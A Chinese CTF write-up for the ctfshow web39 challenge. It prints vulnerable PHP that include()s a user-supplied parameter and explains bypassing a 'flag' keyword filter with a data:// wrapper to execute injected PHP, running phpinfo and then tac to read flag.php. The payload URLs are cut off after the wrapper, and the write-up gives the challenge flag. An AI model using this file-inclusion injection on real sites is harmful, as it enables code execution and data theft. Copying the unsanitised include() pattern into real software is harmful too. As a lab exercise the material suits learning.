ctfshow-命令执行-web39

ctfshow-web39

文章目录

  • ctfshow-web39
  • 题目描述:
  • 原理:
    • 审计:
  • 方法:
    • 思路:
      • 同样使用web38的方法,使用data为协议
  • Flag:


题目描述:

ctfshow-命令执行-web39_第1张图片

原理:

审计:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   //过滤flag
        include($c.".php");           //添加后缀php,无回显
    }
        
}else{
    highlight_file(__FILE__);
} 

方法:

思路:

绕过flag过滤,利用文件包含漏洞

同样使用web38的方法,使用data为协议

以为这个题目强加后缀,我们来测试一下对代码执行有无影响
http://33082e57-65e2-41c5-a355-043920e4b8a6.challenge.ctf.show/?c=data://text/plain,
ctfshow-命令执行-web39_第2张图片发现可以执行后缀之前的代码,即强加的后缀无影响。
ctfshow-命令执行-web39_第3张图片返回1.php的原因是phpinfo就是返回1,然后加上强加的后缀就是1.php

所以我们直接用web38的方法,构造payload
http://33082e57-65e2-41c5-a355-043920e4b8a6.challenge.ctf.show/?c=data://text/plain,

tac:反向输出flag

ctfshow-命令执行-web39_第4张图片

Flag:

ctfshow{d069976c-727a-43da-a85a-b3a9f4ba912f}

你可能感兴趣的:(#,CTFSHOW-命令执行,web安全)